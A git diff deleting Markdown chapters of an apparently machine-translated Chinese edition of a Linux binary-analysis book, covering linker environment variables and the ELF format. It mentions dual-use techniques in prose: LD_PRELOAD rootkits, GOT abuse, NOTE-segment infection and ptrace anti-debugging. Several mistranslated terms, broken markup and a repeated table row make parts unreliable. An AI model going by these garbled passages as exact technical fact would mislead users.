grep Kernel /proc/iomem - 01000000-016d9b27 : Kernel code - 016d9b28-01ceeebf : Kernel data - 01df0000-01f26fff : Kernel bss - -``` - -## 【析构 - -**扩展核心文件快照**(**ECFS**)是一种特殊的核心转储技术,专为进程映像的高级取证分析而设计。 这个软件的代码可以在[https://github.com/elfmaster/ecfs](https://github.com/elfmaster/ecfs)找到。 此外,[第八章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS -扩展核心文件快照技术*,专门解释了什么是 ECFS 以及如何使用它。 对于那些对高级记忆取证感兴趣的人来说,你会想要密切关注这个。 - -# 与连接器相关的环境点 - -动态加载器/链接器和链接概念是程序链接和执行过程中不可避免的组成部分。 在本书中,你会学到很多关于这些主题的知识。 在 Linux 中,有相当多的方法可以改变动态链接器的行为,以多种方式为二进制黑客服务。 随着本书的深入,您将开始理解链接、重定位和动态加载(程序解释器)的过程。 下面是一些与链接器相关的属性,它们将在本书中使用。 - -## LD_PRELOAD 环境变量 - -可以设置`LD_PRELOAD`环境变量来指定一个库路径,该库路径应该在任何其他库之前被动态链接。 这样做的效果是允许来自预加载库的函数和符号覆盖随后链接的其他库中的函数和符号。 这实际上允许您通过重定向共享库函数来执行运行时补丁。 正如我们将在后面的章节中看到的,这种技术可以用于绕过反调试代码和用户的 rootkit。 - -## LD_SHOW_AUXV 环境变量 - -这个环境变量告诉程序装入器在运行时显示程序的辅助向量。 辅助向量是放置在程序堆栈(由内核的`ELF`加载例程)上的信息,这些信息与程序的某些信息一起传递给动态连接器。 我们将在[第三章](3.html#PNV61-1d4163ae11644cc2802846625b2dc985 "Chapter 3. Linux Process Tracing"),*Linux 进程跟踪*中更仔细地研究这个问题,但是这些信息可能对反转和调试有用。 例如,如果您想在进程映像中获得 VDSO 页面的内存地址(也可以从`maps`文件中获得,如前面所示),您必须查找`AT_SYSINFO`。 - -下面是一个带有`LD_SHOW_AUXV`的辅助向量的例子: - -```sh -$ LD_SHOW_AUXV=1 whoami -AT_SYSINFO: 0xb7779414 -AT_SYSINFO_EHDR: 0xb7779000 -AT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 -AT_PAGESZ: 4096 -AT_CLKTCK: 100 -AT_PHDR: 0x8048034 -AT_PHENT: 32 -AT_PHNUM: 9 -AT_BASE: 0xb777a000 -AT_FLAGS: 0x0 -AT_ENTRY: 0x8048eb8 -AT_UID: 1000 -AT_EUID: 1000 -AT_GID: 1000 -AT_EGID: 1000 -AT_SECURE: 0 -AT_RANDOM: 0xbfb4ca2b -AT_EXECFN: /usr/bin/whoami -AT_PLATFORM: i686 -elfmaster - -``` - -辅助向量将在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*中更深入地介绍中的。 - -## 连接器脚本 - -链接器脚本是我们感兴趣的一点,因为它们由链接器解释,并帮助塑造关于片段、内存和符号的程序布局。 默认的链接器脚本可以用`ld -verbose`查看。 - -`ld`链接器程序有一个完整的语言,当它获取输入文件(如可重定位的目标文件、共享库和头文件)时,它将解释该语言,并且它使用该语言来确定输出文件(如可执行程序)的组织方式。 例如,如果输出是一个`ELF`可执行文件,链接器脚本将帮助确定布局是什么,以及哪些段将存在于哪些段中。 下面是另一个实例:`.bss`段总是在数据段的末尾; 这是由链接器脚本决定的。 你可能想知道我们对这有什么兴趣。 好! 首先,在编译时了解链接过程是很重要的。 `gcc`依赖于链接器和其他程序来执行这项任务,在某些情况下,能够控制可执行文件的布局是很重要的。 命令语言是一种非常深入的语言,超出了本书的范围,但是值得一试。 当反向工程可执行文件时,请记住,公共段地址有时可能被修改,布局的其他部分也可能被修改。 这表明涉及自定义链接器脚本。 可以使用`-T`标志用`gcc`指定链接器脚本。 我们将在[第 5 章](5.html#1ENBI1-1d4163ae11644cc2802846625b2dc985 "Chapter 5. Linux Binary Protection"),*Linux 二进制保护*中看一个使用链接器脚本的具体例子。 - -# 总结 - -我们只是触及了 Linux 环境的一些基本方面,以及在每一章的演示中最常用的工具。 二进制分析主要是关于了解可用的工具和资源以及它们是如何组合在一起的。 我们只是简单地介绍了这些工具,但是在接下来的章节中,当我们探索 Linux 二进制代码破解的广阔世界时,我们将有机会强调每种工具的功能。 在下一章中,我们将深入研究 ELF 二进制格式的内部结构,并讨论许多有趣的主题,例如动态链接、重定位、符号、节等等。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/2.md b/docs/learn-linux-bin-anal/2.md deleted file mode 100644 index 7fc41973..00000000 --- a/docs/learn-linux-bin-anal/2.md +++ /dev/null @@ -1,1347 +0,0 @@ -# 二、ELF 二进制格式 - -为了对 Linux 二进制文件进行反向工程,您必须了解二进制格式本身。 ELF 已经成为 Unix 和 Unix 风格操作系统的标准二进制格式。 在 Linux、BSD 变体和其他操作系统中,ELF 格式用于可执行文件、共享库、目标文件、coredump 文件,甚至内核引导映像。 这使得学习 ELF 对于那些想要更好地理解反向工程、二进制黑客和程序执行的人来说非常重要。 像 ELF 这样的二进制格式通常不是快速学习的对象,要学习 ELF 需要在一定程度上应用所学习的不同组件。 真正的实践经验是达到精通的必要条件。 ELF 格式复杂而枯燥,但是当您在反向工程和编程任务中应用关于它的开发知识时,可以带着一些乐趣来学习它。 ELF 实际上是计算机科学的一个令人难以置信的组合,它包含程序加载、动态链接、符号表查找和许多其他紧密协调的组件。 - -我相信这一章可能是整本书中最重要的一章,因为它将使读者更深入地了解有关程序如何在磁盘上映射并加载到内存的主题。 程序执行的内部工作是复杂的,理解它对于有抱负的二进制黑客、反向工程师或低级程序员来说是很有价值的知识。 在 Linux 中,程序执行意味着 ELF 二进制格式。 - -我学习 ELF 的方法是通过研究 ELF 规范,就像任何 Linux 逆向工程师应该做的那样,然后创造性地应用我们所学到的各个方面。 在本书中,您将访问 ELF 的许多方面,并了解它是如何与病毒、进程内存取证、二进制保护、rootkit 等相关的知识。 - -在本章中,您将涵盖以下 ELF 主题: - -* 精灵文件类型 -* 程序标题 -* 节标题 -* 符号 -* 搬迁 -* 动态链接 -* 编写 ELF 解析器 - -# ELF 文件类型 - -ELF 文件可以被标记为以下类型之一: - -* `ET_NONE`:此为未知类型。 它指示文件类型未知,或尚未定义。 -* `ET_REL`:是一个可重定位文件。 ELF 类型的可重定位文件意味着该文件被标记为可重定位的代码片段,有时也被称为目标文件。 可重定位的目标文件通常是尚未链接到可执行文件中的**位置无关代码**(**PIC**)的片段。 您经常会在编译后的代码库中看到`.o`文件。 这些文件包含适合创建可执行文件的代码和数据。 -* `ET_EXEC`:是一个可执行文件。 ELF 类型可执行文件意味着该文件被标记为可执行文件。 这些类型的文件也被称为程序,是进程如何开始运行的入口点。 -* `ET_DYN`:这个是一个共享对象。 ELF 动态类型意味着该文件被标记为动态链接的目标文件,也称为共享库。 这些共享库在运行时被加载并链接到程序的进程映像中。 -* `ET_CORE`:这个是一个 ELF 类型的核心,它标记一个核心文件。 核心文件是在程序崩溃或进程传递 SIGSEGV 信号(分割违反)时转储的整个进程映像。 GDB 可以读取这些文件并帮助调试以确定导致程序崩溃的原因。 - -如果我们使用`readelf -h`命令查看 ELF 文件,我们可以查看初始的 ELF 文件头。 ELF 文件头从 ELF 文件的 0 偏移量开始,充当到文件其余部分的映射。 首先,这个头标记 ELF 类型、体系结构和开始执行的入口点地址,并为其他类型的 ELF 头(节头和程序头)提供偏移量,稍后将对此进行深入解释。 一旦我们解释了节头和程序头的含义,就会对文件头有更多的了解。 查看 Linux 中的 ELF(5) man 页面,可以看到 ELF 头结构: - -```sh -#define EI_NIDENT 16 - typedef struct { - unsigned char e_ident[EI_NIDENT]; - uint16_t e_type; - uint16_t e_machine; - uint32_t e_version; - ElfN_Addr e_entry; - ElfN_Off e_phoff; - ElfN_Off e_shoff; - uint32_t e_flags; - uint16_t e_ehsize; - uint16_t e_phentsize; - uint16_t e_phnum; - uint16_t e_shentsize; - uint16_t e_shnum; - uint16_t e_shstrndx; - } ElfN_Ehdr; -``` - -在本章的后面,我们将看到如何利用这个结构中的字段用一个简单的 C 程序映射一个 ELF 文件。 首先,我们将继续研究现有的其他类型的 ELF 头。 - -# ELF 程序头文件 - -ELF 程序头描述二进制文件中的段,是程序加载所必需的。 段被内核在加载时理解,描述可执行文件在磁盘上的内存布局,以及它应该如何转换为内存。 可以通过引用初始 ELF 头成员`e_phoff`中的偏移量(程序头表偏移量)来访问程序头表,如显示`1.7`中的`ElfN_Ehdr`结构所示。 - -这里我们将讨论五种常见的程序头文件类型。 程序头描述一个可执行文件的段(包括共享库)和它是什么类型的段(也就是说,它为什么类型的数据或代码保留)。 首先,让我们看一下组成 32 位 ELF 可执行程序头表中的程序头条目的`Elf32_Phdr`结构。 - -### 注意事项 - -在本书的其余部分,我们有时将程序头文件称为 Phdrs。 - -下面是`Elf32_Phdr`结构: - -```sh -typedef struct { - uint32_t p_type; (segment type) - Elf32_Off p_offset; (segment offset) - Elf32_Addr p_vaddr; (segment virtual address) - Elf32_Addr p_paddr; (segment physical address) - uint32_t p_filesz; (size of segment in the file) - uint32_t p_memsz; (size of segment in memory) - uint32_t p_flags; (segment flags, I.E execute|read|read) - uint32_t p_align; (segment alignment in memory) - } Elf32_Phdr; -``` - -## pt_load - -一个可执行文件总是至少有一个`PT_LOAD`类型段。 这种类型的程序头描述的是一个可加载的段,这意味着该段将被加载或映射到内存中。 - -例如,一个带有动态链接的 ELF 可执行文件通常包含以下两个可加载段(类型为`PT_LOAD`): - -* 用于程序代码的文本段 -* 数据段为全局变量和动态链接信息 - -前面的两个段将被映射到内存中,并通过存储在`p_align`中的值在内存中对齐。 我建议阅读 Linux 中的 ELF 手册页,以理解 Phdr 结构中的所有成员,因为它们描述了文件和内存中段的布局。 - -程序头文件主要用于描述程序在执行时和在内存中的布局。 我们将在本章的后面使用博士来演示他们是什么以及如何在逆向工程软件中使用他们。 - -### 注意事项 - -文本段(也称为代码段)通常将段权限设置为`PF_X`|`PF_R`(`READ+EXECUTE`)。 - -数据段通常具有被设置为`PF_W`|`PF_R`(`READ+WRITE`)的段权限。 - -感染了多态病毒的文件可能以某种方式改变了这些权限,例如通过在程序头的段标志(`p_flags`)中添加`PF_W`标志来修改文本段以使其可写。 - -## PT_DYNAMIC - Phdr 为动态段 - -动态段是特定于动态链接的可执行文件的,并且包含动态链接器所必需的信息。 该段包含带标记的值和指针,包括但不限于以下内容: - -* 要在运行时链接的共享库的列表 -* *ELF 动态连接*部分讨论了**全局偏移表**(**GOT**)的地址/位置 -* 关于重定位表项的信息 - -以下是标签名称的完整列表: - - -| - -标签名 - - | - -描述 - - | -| --- | --- | -| `DT_HASH` | 符号哈希表地址 | -| `DT_STRTAB` | 字符串表地址 | -| `DT_SYMTAB` | 符号表的地址 | -| `DT_RELA` | Rela relocs 表地址 | -| `DT_RELASZ` | Rela 表的字节大小 | -| `DT_RELAENT` | Rela 表项的字节大小 | -| `DT_STRSZ` | 字符串表的字节大小 | -| `DT_STRSZ` | 字符串表的字节大小 | -| `DT_STRSZ` | 字符串表的字节大小 | -| `DT_SYMENT` | 符号表项的字节大小 | -| `DT_INIT` | 初始化函数的地址 | -| `DT_FINI` | 终止函数的地址 | -| `DT_SONAME` | 字符串表到共享对象名称的偏移量 | -| `DT_RPATH` | String 表到库搜索路径的偏移量 | -| `DT_SYMBOLIC` | 警告链接器在可执行文件之前搜索此共享对象以查找符号 | -| `DT_REL` | Rel relocs 表的地址 | -| `DT_RELSZ` | Rel 表的字节大小 | -| `DT_RELENT` | Rel 表项的字节大小 | -| `DT_PLTREL` | PLT 引用的重定位类型(Rela 或 Rel) | -| `DT_DEBUG` | 未定义的调试使用 | -| `DT_TEXTREL` | 如果没有此参数,则表示不应该对不可写段应用 relocs | -| `DT_JMPREL` | 仅供 PLT 使用的 reloc 条目地址 | -| `DT_BIND_NOW` | 指示动态链接器在将控制权传递给可执行文件之前处理所有重 locs | -| `DT_RUNPATH` | String 表到库搜索路径的偏移量 | - -动态段包含一系列包含相关动态链接信息的结构。 `d_tag`成员控制`d_un`的解释。 - -32 位 ELF 动态结构: - -```sh -typedef struct { -Elf32_Sword d_tag; - union { -Elf32_Word d_val; -Elf32_Addr d_ptr; - } d_un; -} Elf32_Dyn; -extern Elf32_Dyn _DYNAMIC[]; -``` - -我们将在本章后面进一步探讨**动态链接**。 - -## pt_note - -类型为`PT_NOTE`的段可能包含与特定供应商或系统相关的辅助信息。 以下是正式 ELF 规范中对`PT_NOTE`的定义: - -有时供应商或系统构建者需要用特殊信息标记一个目标文件,其他程序将检查其一致性、兼容性等等。 类型为`SHT_NOTE`的节和类型为`PT_NOTE`的程序头元素可以用于此目的。 section 和程序头元素中的注释信息包含任意数量的条目,每个条目都是目标处理器格式的 4 字节单词数组。 下面的标签有助于解释注释信息的组织,但它们不是规范的一部分。 - -有趣的一点: 因为这个段只用于操作系统规范信息,而且实际上不是一个可执行文件运行所必需的(因为系统将只是假设可执行文件是本地的任何一种方式),这个段成为病毒感染的一个有趣的地方, 虽然这不是最实际的方法,因为大小的限制。 关于 NOTE 段感染的一些信息可以在[http://vxheavens.com/lib/vhe06.html](http://vxheavens.com/lib/vhe06.html)中找到。 - -## pt_interp - -这个小段只包含一个空终止字符串的位置和大小,该字符串描述了程序解释器所在的位置; 例如,`/lib/linux-ld.so.2`通常是动态连接器的位置,它也是程序解释器。 - -## PT_PHDR - -这个段包含程序头表本身的位置和大小。 Phdr 表包含描述文件片段(以及内存映像)的所有 Phdr。 - -请参阅 ELF(5)手册页或 ELF 规范文件以了解所有可能的 dr 类型。 我们已经介绍了对程序执行至关重要的最常见的方法,或者我们在反向工程中最常见的方法。 - -我们可以使用`readelf -l `命令来查看文件的 Phdr 表: - -```sh -Elf file type is EXEC (Executable file) -Entry point 0x8049a30 -There are 9 program headers, starting at offset 52 -Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 - INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 - [Requesting program interpreter: /lib/ld-linux.so.2] - LOAD 0x000000 0x08048000 0x08048000 0x1622c 0x1622c R E 0x1000 - LOAD 0x016ef8 0x0805fef8 0x0805fef8 0x003c8 0x00fe8 RW 0x1000 - DYNAMIC 0x016f0c 0x0805ff0c 0x0805ff0c 0x000e0 0x000e0 RW 0x4 - NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 - GNU_EH_FRAME 0x016104 0x0805e104 0x0805e104 0x0002c 0x0002c R 0x4 - GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 - GNU_RELRO 0x016ef8 0x0805fef8 0x0805fef8 0x00108 0x00108 R 0x1 -``` - -我们可以看到可执行文件的入口点,以及我们刚刚讨论过的一些不同的段类型。 注意前两个`PT_LOAD`段的权限标志和对齐标志右边的偏移量。 - -文本段为`READ+EXECUTE`,数据段为`READ+WRITE`,两个段的对齐方式为`0x1000`或 4,096,这是 32 位可执行文件的页面大小,这是在程序加载期间的对齐方式。 - -# ELF 节标题 - -既然我们已经了解了程序头文件是什么,现在是时候看看节头文件了。 我想指出两者之间的区别; 我经常听到人们叫分部,分部,反之亦然。 分段不是分段。 段是程序执行所必需的,在每个段中,有代码或数据被划分成段。 section 头表的存在是为了引用这些 section 的位置和大小,主要用于链接和调试。 Section 头文件对于程序执行来说不是必需的,一个程序在没有 Section 头文件表的情况下也可以很好地执行。 这是因为 section 头表没有描述程序的内存布局。 这是程序头表的职责。 节头实际上只是程序头的补充。 `readelf –l`命令将显示哪些部分映射到哪些段,这有助于可视化段和段之间的关系。 - -如果 section 头被剥离(从二进制文件中丢失),这并不意味着 section 不存在; 这只是意味着它们不能被节头引用,调试器和反汇编程序可用的信息更少。 - -每个部分都包含某种类型的代码或数据。 数据的范围可以从程序数据(如全局变量)或链接器所必需的动态链接信息。 现在,正如前面提到的,每个 ELF 对象都有段,但并不是所有 ELF 对象都有**段头**,主要是当有人故意删除了段头表时,这不是默认的。 - -通常,这是因为可执行文件被篡改了(例如,节头被剥离了,因此调试更加困难)。 所有 GNU 的 binutils(如`objcopy`、`objdump`和其他工具(如`gdb`)都依赖于节头来定位存储在特定于包含符号数据的节中的符号信息。 如果没有段头,像`gdb`和`objdump`这样的工具几乎毫无用处。 - -节头可以方便地检查我们正在查看的 ELF 对象的哪些部分或部分。 事实上,节头使反向工程变得容易得多,因为它们为我们提供了使用某些需要它们的工具的能力。 例如,如果 section 头表被剥离,那么我们就不能访问像`.dynsym`这样的 section,它包含了导入/导出的符号,用来描述函数名和偏移量/地址。 - -### 注意事项 - -即使 section 头表已经从可执行文件中剥离,一个适度的反向工程师也可以通过从某些程序头表中获取信息来重建 section 头表(甚至是符号表的一部分),因为这些文件头表总是存在于程序或共享库中。 我们在前面讨论了动态段和包含符号表和重定位表项信息的不同的`DT_TAG`。 我们可以使用它来重构可执行文件的其他部分,如[第八章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS -扩展核心文件快照技术*所示。 - -以下是 32 位的 ELF section header 的样子: - -```sh -typedef struct { -uint32_t sh_name; // offset into shdr string table for shdr name - uint32_t sh_type; // shdr type I.E SHT_PROGBITS - uint32_t sh_flags; // shdr flags I.E SHT_WRITE|SHT_ALLOC - Elf32_Addr sh_addr; // address of where section begins - Elf32_Off sh_offset; // offset of shdr from beginning of file - uint32_t sh_size; // size that section takes up on disk - uint32_t sh_link; // points to another section - uint32_t sh_info; // interpretation depends on section type -uint32_t sh_addralign; // alignment for address of section -uint32_t sh_entsize; // size of each certain entries that may be in section -} Elf32_Shdr; -``` - -让我们看一看一些最重要的节和节类型,再次为研究 ELF(5)手册页和官方 ELF 规范提供空间,以获得关于节的更详细信息。 - -## 文本部分 - -`.text`节是一个包含程序代码指令的代码段。 在一个也有博士的可执行程序中,这个部分将在文本段的范围内。 因为它包含程序代码,所以它是 section type`SHT_PROGBITS`。 - -## .rodata 部分 - -section`rodata`section 包含只读数据,例如一行 C 代码中的字符串,例如下面的命令存储在本节中: - -```sh -printf("Hello World!\n"); -``` - -该节是只读的,因此必须存在于可执行文件的只读段中。 因此,您将在文本段(而不是数据段)的范围内找到`.rodata`。 因为该节是只读的,所以它的类型是`SHT_PROGBITS`。 - -## .plt 部分 - -**程序链接表****(PLT)将在本章后面讨论的深度,但它包含动态链接器所必需的代码调用函数从共享库进口。 它驻留在文本段中并包含代码,因此它被标记为类型`SHT_PROGBITS`。** - -## .data 部分 - -`data`段(而不是)将与数据段混淆,它将存在于数据段中,并包含初始化的全局变量等数据。 它包含程序变量数据,因此标记为`SHT_PROGBITS`。 - -## .bss 部分 - -`bss`段包含未初始化的全局数据作为数据段的一部分,因此除了 4 个字节(表示该段本身)外,不占用磁盘空间。 数据在程序加载时被初始化为零,数据可以在程序执行时被赋值。 `bss`节被标记为`SHT_NOBITS`,因为它不包含实际数据。 - -## The。got。 plt 节 - -**全局偏移表**(**GOT**)部分包含全局偏移表。 它与 PLT 一起工作,提供对导入的共享库函数的访问,并在运行时由动态链接器进行修改。 特别是这个部分经常被攻击者滥用,他们在堆中获得指针大小的写原语或利用`.bss`。 我们将在本章的*ELF 动态链接*部分讨论这个问题。 这一节与程序执行有关,因此标记为`SHT_PROGBITS`。 - -## .dynsym 部分 - -`dynsym`节包含从共享库导入的动态符号信息。 它包含在文本段中,并被标记为类型`SHT_DYNSYM`。 - -## .dynstr 部分 - -`dynstr`部分包含动态符号的字符串表,其中包含一系列以空结尾的字符串中每个符号的名称。 - -## 。rel。 *部分 - -重定位部分包含关于 ELF 对象或进程映像的部分在链接或运行时需要如何修复或修改的信息。 我们将在本章的*ELF 重置*部分讨论更多关于重置的内容。 重定位部分被标记为类型`SHT_REL`,因为它们包含重定位数据。 - -## .hash 部分 - -`hash`部分,有时又称为`.gnu.hash`,包含一个用于符号查找的哈希表。 以下是 Linux ELF 中用于符号名称查找的哈希算法: - -```sh -uint32_t -dl_new_hash (const char *s) -{ - uint32_t h = 5381; - - for (unsigned char c = *s; c != '\0'; c = *++s) - h = h * 33 + c; - - return h; -} -``` - -### 注意事项 - -`h = h * 33 + c`常被视为的代号`h = ((h << 5) + h) + c` - -## symtab 部分 - -`symtab`部分包含`ElfN_Sym`类型的符号信息,我们将在本章的 ELF 符号和重定位部分进行更深入的分析。 `symtab`节被标记为`SHT_SYMTAB`类型,因为它包含符号信息。 - -## .strtab 部分 - -`.strtab`节包含符号字符串表,该表由`.symtab`结构中的`ElfN_Sym`项引用,并被标记为类型`SHT_STRTAB`,因为它包含一个字符串表。 - -## .shstrtab section - -`shstrtab`节包含节头字符串表,该表是一组以空结尾的字符串,其中包含每个节的名称,如`.text`、`.data`,等等。 这个部分是由名为`e_shstrndx`的 ELF 文件头条目指向的,该条目保存着`.shstrtab`的偏移量。 这个部分被标记为`SHT_STRTAB`,因为它包含一个字符串表。 - -## .ctor 和. doctors 组 - -`.ctors`(**构造函数)和`.dtors`(**析构函数)部分包含函数指针初始化和【显示】这是终结代码被执行之前和之后的实际身体`main()`程序代码。**** - - **### 注意事项 - -黑客和病毒编写人员有时使用`__constructor__`属性来实现一个函数,该函数执行反调试技巧,例如调用`PTRACE_TRACEME`,以便进程跟踪自身,而没有调试器可以附加到它。 通过这种方式,反调试代码在程序进入`main()`之前被执行。 - -还有许多其他的节名称和类型,但是我们已经介绍了节中动态链接的可执行文件中的大部分主要部分。 现在可以看到一个可执行文件是如何同时使用`phdrs`和`shdrs`进行布局的。 - -文本部分将如下: - -* :这是程序代码 -* `[.rodata]`:只读数据 -* `[.hash]`:符号哈希表 -* `[.dynsym ]`:共享对象符号数据 -* `[.dynstr ]`:共享对象符号名 -* `[.plt]`:过程链接表 -* `[.rel.got]`:这是 G.O.T 搬迁数据 - -数据段如下: - -* `[.data]`:这些是全局初始化的变量 -* `[.dynamic]`:这些是动态连接的结构和对象 -* `[.got.plt]`:全局偏移表 -* `[.bss]`:这些是全局未初始化的变量 - -让我们用`readelf –S`命令来看看`ET_REL`文件(目标文件)的节头: - -```sh -ryan@alchemy:~$ gcc -c test.c -ryan@alchemy:~$ readelf -S test.o -``` - -下面是 12 个 section 头,从偏移量 0 x 124 开始: - -```sh - [Nr] Name Type Addr Off - Size ES Flg Lk Inf Al - [ 0] NULL 00000000 000000 - 000000 00 0 0 0 - [ 1] .text PROGBITS 00000000 000034 - 000034 00 AX 0 0 4 - [ 2] .rel.text REL 00000000 0003d0 - 000010 08 10 1 4 - [ 3] .data PROGBITS 00000000 000068 - 000000 00 WA 0 0 4 - [ 4] .bss NOBITS 00000000 000068 - 000000 00 WA 0 0 4 - [ 5] .comment PROGBITS 00000000 000068 - 00002b 01 MS 0 0 1 - [ 6] .note.GNU-stack PROGBITS 00000000 000093 - 000000 00 0 0 1 - [ 7] .eh_frame PROGBITS 00000000 000094 - 000038 00 A 0 0 4 - [ 8] .rel.eh_frame REL 00000000 0003e0 - 000008 08 10 7 4 - [ 9] .shstrtab STRTAB 00000000 0000cc - 000057 00 0 0 1 - [10] .symtab SYMTAB 00000000 000304 - 0000b0 10 11 8 4 - [11] .strtab STRTAB 00000000 0003b4 - 00001a 00 0 0 1 -``` - -在可重定位对象(类型为`ET_REL`的 ELF 文件)中不存在程序头文件,因为`.o`文件意味着要链接到可执行文件中,但不意味着要直接加载到内存中; 因此,readelf -l 在`test.o`上不会产生任何结果。 Linux 可加载内核模块实际上是`ET_REL`对象,是该规则的一个例外,因为它们会直接加载到内核内存中并动态地重新定位。 - -我们可以看到,我们谈到的许多部分都存在,但也有一些没有。 如果我们将`test.o`编译成一个可执行文件,我们会看到添加了许多新的部分,包括`.got.plt`,`.plt`,`.dynsym`,以及其他与动态链接和运行时重定位相关的部分: - -```sh -ryan@alchemy:~$ gcc evil.o -o evil -ryan@alchemy:~$ readelf -S evil -``` - -下面是 30 个 section 头,从偏移量 0 x 1140 开始: - -```sh - [Nr] Name Type Addr Off - Size ES Flg Lk Inf Al - [ 0] NULL 00000000 000000 - 000000 00 0 0 0 - [ 1] .interp PROGBITS 08048154 000154 - 000013 00 A 0 0 1 - [ 2] .note.ABI-tag NOTE 08048168 000168 - 000020 00 A 0 0 4 - [ 3] .note.gnu.build-i NOTE 08048188 000188 - 000024 00 A 0 0 4 - [ 4] .gnu.hash GNU_HASH 080481ac 0001ac - 000020 04 A 5 0 4 - [ 5] .dynsym DYNSYM 080481cc 0001cc - 000060 10 A 6 1 4 - [ 6] .dynstr STRTAB 0804822c 00022c - 000052 00 A 0 0 1 - [ 7] .gnu.version VERSYM 0804827e 00027e - 00000c 02 A 5 0 2 - [ 8] .gnu.version_r VERNEED 0804828c 00028c - 000020 00 A 6 1 4 - [ 9] .rel.dyn REL 080482ac 0002ac - 000008 08 A 5 0 4 - [10] .rel.plt REL 080482b4 0002b4 - 000020 08 A 5 12 4 - [11] .init PROGBITS 080482d4 0002d4 - 00002e 00 AX 0 0 4 - [12] .plt PROGBITS 08048310 000310 - 000050 04 AX 0 0 16 - [13] .text PROGBITS 08048360 000360 - 00019c 00 AX 0 0 16 - [14] .fini PROGBITS 080484fc 0004fc - 00001a 00 AX 0 0 4 - [15] .rodata PROGBITS 08048518 000518 - 000008 00 A 0 0 4 - [16] .eh_frame_hdr PROGBITS 08048520 000520 - 000034 00 A 0 0 4 - [17] .eh_frame PROGBITS 08048554 000554 - 0000c4 00 A 0 0 4 - [18] .ctors PROGBITS 08049f14 000f14 - 000008 00 WA 0 0 4 - [19] .dtors PROGBITS 08049f1c 000f1c - 000008 00 WA 0 0 4 - [20] .jcr PROGBITS 08049f24 000f24 - 000004 00 WA 0 0 4 - [21] .dynamic DYNAMIC 08049f28 000f28 - 0000c8 08 WA 6 0 4 - [22] .got PROGBITS 08049ff0 000ff0 - 000004 04 WA 0 0 4 - [23] .got.plt PROGBITS 08049ff4 000ff4 - 00001c 04 WA 0 0 4 - [24] .data PROGBITS 0804a010 001010 - 000008 00 WA 0 0 4 - [25] .bss NOBITS 0804a018 001018 - 000008 00 WA 0 0 4 - [26] .comment PROGBITS 00000000 001018 - 00002a 01 MS 0 0 1 - [27] .shstrtab STRTAB 00000000 001042 - 0000fc 00 0 0 1 - [28] .symtab SYMTAB 00000000 0015f0 - 000420 10 29 45 4 - [29] .strtab STRTAB 00000000 001a10 - 00020d 00 0 0 -``` - -正如所观察到的,已经添加了许多节,最显著的是与动态链接和构造器相关的节。 我强烈建议读者遵循这样的练习:推断哪些部分被修改或添加了,以及添加的部分的目的是什么。 请参阅 ELF(5)手册页或 ELF 规范。 - -# 精灵符号 - -符号是对某些类型的数据或代码(如全局变量或函数)的符号引用。 例如,`printf()`函数将在动态符号表`.dynsym`中有一个指向它的符号条目。 在大多数共享库和动态链接的可执行文件中,存在两个符号表。 在前面显示的`readelf -S`输出中,您可以看到两个部分:`.dynsym`和`.symtab`。 - -`.dynsym`包含全球从外部源符号引用符号,比如像`printf``libc`功能,而`.symtab`中包含的符号将包含所有的符号在`.dynsym`,以及当地的符号的可执行文件,如全局变量,或地方在代码中定义的函数。 所以`.symtab`包含所有的符号,而`.dynsym`只包含动态/全局符号。 - -所以问题是:如果`.symtab`已经包含了`.dynsym`中的所有内容,为什么还要有两个符号表? `readelf -S`如果你查看输出的可执行文件,你会发现有些部分是标志着**(【显示】**ALLOC)或**WA**(**写/ ALLOC【病人】或**AX**(**ALLOC / EXEC【t16.1】)。 如果您查看`.dynsym`,您将看到它被标记为 ALLOC,而`.symtab`没有标志。******** - -ALLOC 意味着该节将在运行时分配并加载到内存中,而`.symtab`不加载到内存中,因为它不是运行时所必需的。 `.dynsym`包含只能在运行时解析的符号,因此它们是动态连接器在运行时唯一需要的符号。 因此,虽然`.dynsym`符号表对于动态链接的可执行文件的执行是必要的,但`.symtab`符号表的存在只是为了调试和链接的目的,通常会从生产二进制文件中删除(删除)以节省空间。 - -让我们来看看 64 位 ELF 文件的 ELF 符号条目是什么样子的: - -```sh -typedef struct { -uint32_t st_name; - unsigned char st_info; - unsigned char st_other; - uint16_t st_shndx; - Elf64_Addr st_value; - Uint64_t st_size; -} Elf64_Sym; -``` - -符号项包含在`.symtab`和`.dynsym`节中,这就是为什么这些节的`sh_entsize`(节头条目大小)等同于`sizeof(ElfN_Sym)`。 - -## st_name - -`st_name`包含符号表的字符串表(位于`.dynstr`或`.strtab`中)的偏移量,符号的名称位于其中,例如`printf`。 - -## st_value - -`st_value`保存符号的值(地址或其位置的偏移量)。 - -## 尺寸 - -`st_size`包含符号的大小,例如全局函数`ptr`的大小,在 32 位系统上是 4 个字节。 - -## st_other - -该成员定义了符号的可见性。 - -## st_shndx - -每个符号表条目都被*定义为*与某个 section 相关。 该成员保存相关的 section 头表索引。 - -## st_info - -`st_info`指定符号类型和绑定属性。 要获得这些类型和属性的完整列表,请参阅**ELF(5)手册页**。 符号类型以 STT 开始,而符号绑定以 STB 开始。 作为一个例子,一些常见的例子将在下一节中解释。 - -### 符号类型 - -我们有以下的符号类型: - -* `STT_NOTYPE`:符号类型未定义 -* :该符号与一个函数或其他可执行代码相关联 -* `STT_OBJECT`:该符号与数据对象相关联 - -### 符号绑定 - -我们得到了以下的符号绑定: - -* `STB_LOCAL`:局部符号在包含其定义的 object 文件之外不可见,例如声明为 static 的函数。 -* `STB_GLOBAL`:全局符号对所有被合并的目标文件都可见。 一个文件对全局符号的定义将满足另一个文件对该符号的未定义引用。 -* `STB_WEAK`:类似于全局绑定,但优先级较低,这意味着绑定是弱的,可能会被另一个没有标记为`STB_WEAK`的符号(具有相同名称)覆盖。 - 